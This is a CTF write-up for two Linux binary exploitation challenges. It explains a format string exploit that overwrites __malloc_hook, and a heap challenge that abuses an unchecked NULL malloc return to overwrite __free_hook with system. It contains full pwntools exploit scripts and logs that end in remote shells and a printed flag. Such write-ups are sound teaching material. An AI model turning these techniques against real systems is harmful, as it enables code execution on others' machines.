[+] checksec for '/home/d4mianwayne/Pwning/CTFs/ductf/formats_the_theorem'
Canary : ✘
NX : ✓
PIE : ✓
Fortify : ✘
RelRO : Full
gef➤
We have almost all the protections enabled, since RELRO is Full meaning we won’t be able to overwrite the GOT entries and since the challenge description hint us toward the __malloc_hook
, we have to go the usual way to overwrite the __malloc_hook
with the one_gadget address and call the malloc with the help of printf which will eventually call __malloc_hook
resulting in the one_gadget being executed.
Reference: https://www.jaybosamiya.com/blog/2017/04/06/adv-format-string/
Also, since the attachment had the docker container to hint towards LIBC, we can see that the binary was running in the Ubuntu 18.04 container which uses the LIBC 2.27ubuntu1.4 version, there was vuln function, which had format string vulnerabilty:-
gef➤ disas vuln
Dump of assembler code for function vuln:
0x000000000000073a <+0>: push rbp
0x000000000000073b <+1>: mov rbp,rsp
0x000000000000073e <+4>: sub rsp,0x70
0x0000000000000742 <+8>: mov rax,QWORD PTR fs:0x28
0x000000000000074b <+17>: mov QWORD PTR [rbp-0x8],rax
0x000000000000074f <+21>: xor eax,eax
0x0000000000000751 <+23>: lea rdi,[rip+0x100] # 0x858
0x0000000000000758 <+30>: call 0x5e0 <puts@plt>
0x000000000000075d <+35>: lea rax,[rbp-0x70]
0x0000000000000761 <+39>: mov rsi,rax
0x0000000000000764 <+42>: lea rdi,[rip+0x136] # 0x8a1
0x000000000000076b <+49>: mov eax,0x0
0x0000000000000770 <+54>: call 0x610 <__isoc99_scanf@plt>
0x0000000000000775 <+59>: lea rdi,[rip+0x12b] # 0x8a7
0x000000000000077c <+66>: call 0x5e0 <puts@plt>
0x0000000000000781 <+71>: lea rax,[rbp-0x70]
0x0000000000000785 <+75>: mov rdi,rax
0x0000000000000788 <+78>: mov eax,0x0
0x000000000000078d <+83>: call 0x5f0 <printf@plt>
0x0000000000000792 <+88>: lea rdi,[rip+0x11a] # 0x8b3
0x0000000000000799 <+95>: call 0x5e0 <puts@plt>
0x000000000000079e <+100>: lea rdi,[rip+0x10e] # 0x8b3
0x00000000000007a5 <+107>: call 0x5e0 <puts@plt>
0x00000000000007aa <+112>: jmp 0x751 <vuln+23>
End of assembler dump.
So, in order to exploit this binary, we first needed a LIBC leak to determine the base address of LIBC so that we will be able to determine the __malloc_hook and one_gadget address. Surprisingly, one of the LIBC address at the offset of 2, which I used to get the base address of the LIBC, then using the pwntools fmtstr_payload to write 2 bytes at a time.
from pwn import *
#p = process("./formats_the_theorem")
context.arch = "amd64"
p = remote("dctf-chall-formats-last-theorem.westeurope.azurecontainer.io", 7482)
libc = ELF("libc.so.6")
p.recvline()
p.sendline("%2$p")
p.recvline()
libc.address = int(p.recvline().strip(), 16) - 0x3ed8c0
log.info("LIBC: 0x%x" %(libc.address))
one_gadget = libc.address + 0x4f432
malloc_hook = libc.sym["__malloc_hook"]
target = one_gadget
addr = malloc_hook
count = 0
while target:
payload = fmtstr_payload(6, {addr: target & 0xffff}, write_size='short')
p.sendline(payload)
addr += 2
target >>= 16
count += 1
p.sendline("%66000c")
p.interactive()
Running the exploit:-
❯ python3 formats_the_theorem.py
[+] Opening connection to dctf-chall-formats-last-theorem.westeurope.azurecontainer.io on port 7482: Done
[*] '/home/d4mianwayne/Pwning/CTFs/ductf/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] LIBC: 0x7f483a4b2000
[*] Switching to interactive mode
I won't ask you, what your name is. It's getting kinda old at this point
you entered
[..snip..]
I won't ask you, what your name is. It's getting kinda old at this point
you entered
[..snip..]
I won't ask you, what your name is. It's getting kinda old at this point
you entered
[..snip..]
$ id
uid=1000(pilot) gid=1000(pilot) groups=1000(pilot)
$ cat flag.txt
dctf{N0t_all_7h30r3ms_s0und_g00d}
$
[*] Interrupted
Just another heap #
This challenge was solved by Faith, later he shared the exploit script for the challenge, he told me:-
it was a simple bug, malloc returned null but they didnt check for null and just added a controlled value to it(edited) [12:51 PM] PIE was disabled, so u can make malloc return null with a large size, then add any value to create a pointer to any memory address
Checking the binary with the checksec:-
gef➤ checksec
[+] checksec for '/home/d4mianwayne/Pwning/CTFs/ductf/just_another_heap'
Canary : ✓
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
gef➤
The vulnerability existed in the function Create Memory:-
unsigned __int64 create_memory()
{
unsigned __int64 v0; // rbx
const char *name; // rbx
int important; // [rsp+4h] [rbp-4Ch]
int recent; // [rsp+8h] [rbp-48h]
int i; // [rsp+Ch] [rbp-44h]
size_t size; // [rsp+10h] [rbp-40h] BYREF
size_t offset; // [rsp+18h] [rbp-38h] BYREF
unsigned __int64 idx; // [rsp+20h] [rbp-30h] BYREF
char *chunk; // [rsp+28h] [rbp-28h]
char is_important[2]; // [rsp+34h] [rbp-1Ch] BYREF
char is_recent[2]; // [rsp+36h] [rbp-1Ah] BYREF
unsigned __int64 v12; // [rsp+38h] [rbp-18h]
v12 = __readfsqword(0x28u);
if ( dword_6020C0 > 9 )
{
puts("You already have to many memories stored in here. You don't want another one.");
}
else
{
important = 0;
recent = 0;
idx = 0LL;
puts("at what page would you like to write?");
read_long((__int64)&idx);
if ( heap_list[idx] || idx > 9 )
{
puts("there is already something written at that page.");
}
else
{
puts("name:");
v0 = idx;
struct_list[v0] = malloc(0x20uLL);
read_data((char *)struct_list[idx], 16);
name = (const char *)struct_list[idx];
name[strcspn(name, "\n")] = 0;
puts("How long is your memory");
read_long((__int64)&size);
chunk = (char *)malloc(size);
puts("Sometimes our memories fade and we only remember parts of them.");
read_long((__int64)&offset);
puts("Would you like to leave some space at the beginning in case you remember later?");
if ( offset <= size )
{
if ( chunk )
{
for ( i = 0; i < offset; ++i )
chunk[i] = 95;
}
chunk += offset;
fflush(stdin);
puts("What would you like to write");
read_data(chunk, size - offset);
puts("Would you say this memory is important to you? [Y/N]");
read_data(is_important, 2);
if ( is_important[0] == 89 )
important = 1;
_IO_getc(stdin);
puts("Would you say this memory was recent? [Y/N]");
read_data(is_recent, 2);
if ( is_recent[0] == 89 )
recent = 1;
heap_list[idx] = chunk;
recent_list[idx] = recent;
important_list[idx] = important;
offset_list[idx] = offset;
size_list[idx] = size;
++dword_6020C0;
puts("Memory created successfully\n");
puts(byte_401786);
fflush(stdin);
}
else
{
puts("Invalid offset");
}
}
}
return __readfsqword(0x28u) ^ v12;
}
The vulnerability was that the program doesn’t check whether the pointer returned by the malloc is valid or not, the program also allow us to enter a, kind of, offset which will be added to the pointer returned by the malloc, since there’s no check for invalid/NULL return value from the malloc, we can exploit this one by giving a large size of the malloc which will return NULL, then we can give the address of the global array which stores the name pointer, what we will exactly do here is explained as follows:-
#!/usr/bin/env python3
from pwn import *
e = ELF("./just_another_heap")
libc = ELF("./libc.so.6")
#p = process("./just_another_heap", env={"LD_PRELOAD": "./libc.so.6"})
p = remote("dctf-chall-just-another-heap.westeurope.azurecontainer.io", 7481)
def create(idx, name, size, empty, data, important, recent):
p.sendlineafter("Exit\n", "1")
p.sendlineafter("\n", str(idx))
p.sendafter("name:\n", name)
p.sendlineafter("memory\n", str(size))
p.sendlineafter("them.\n", str(empty))
p.sendafter("write\n", data)
if important:
p.sendlineafter("\n", "Y")
else:
p.sendlineafter("\n", "N")
if recent:
p.sendlineafter("\n", "Y")
else:
p.sendlineafter("\n", "N")
def forget(idx):
p.sendlineafter("Exit\n", "3")
p.sendlineafter("forget?\n", str(idx))
def _list():
p.sendlineafter("Exit\n", "5")
With the wrapper functions, we select the address where the very last name would be stored, which in our case is 0x6022a8
memory_ptr_last_idx = 0x6022a8
puts_got = e.got["puts"]
huge = 0xFFFF0FFFFFFF
Then, we firstly create a chunk which will act as a decoy for performing rest of the exploit, we create this chunk, making the 0x6022a8 will point to the BBBBBBBBBBBBBBBB. We will also create a chunk with the name being /bin/sh\x00
create(9, "A"*0xF, 0x10, 0, "B"*0xF, False, False)
create(2, "A"*0xF, 0xa, 0, b"/bin/sh\x00\n", False, False)
Now, we will force the malloc to return NULL then make the offset to the pointer of the last chunk[9] which we overwrite with GOT address of the puts, giving us a LIBC leak.
create(0, "A"*0xF, memory_ptr_last_idx + (huge - memory_ptr_last_idx), memory_ptr_last_idx, p64(puts_got) + b"\n", False, False)
_list()
p.recvuntil("9: ")
libc.address = int.from_bytes(p.recvline(), byteorder="little") & 0xFFFFFFFFFFFF - libc.sym["puts"]
system = libc.sym["system"]
free_hook = libc.sym["__free_hook"]
log.info("Libc base @ " + hex(libc.address))
Now, doing the same, but this time we will force the malloc to again return the NULL and make the offset value to the address of the __free_hook.
create(1, "A"*0xF, free_hook + (huge - free_hook), free_hook, p64(system) + b"\n", False, False)
Now, we just free the chunk 2 which had the /bin/sh string stored resulting in system("/bin/sh"):-
forget(2)
p.interactive()
Run the exploit:-
vagrant@ubuntu-bionic:~/sharedFolder/CTFs/ductf$ python3 just_another_heap.py
[*] '/home/vagrant/sharedFolder/CTFs/ductf/just_another_heap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/vagrant/sharedFolder/CTFs/ductf/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './just_another_heap': pid 1865
[*] Libc base @ 0x7f83be251000
[*] Switching to interactive mode
$ id
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
$
[*] Interrupted
vagrant@ubuntu-bionic:~/sharedFolder/CTFs/ductf$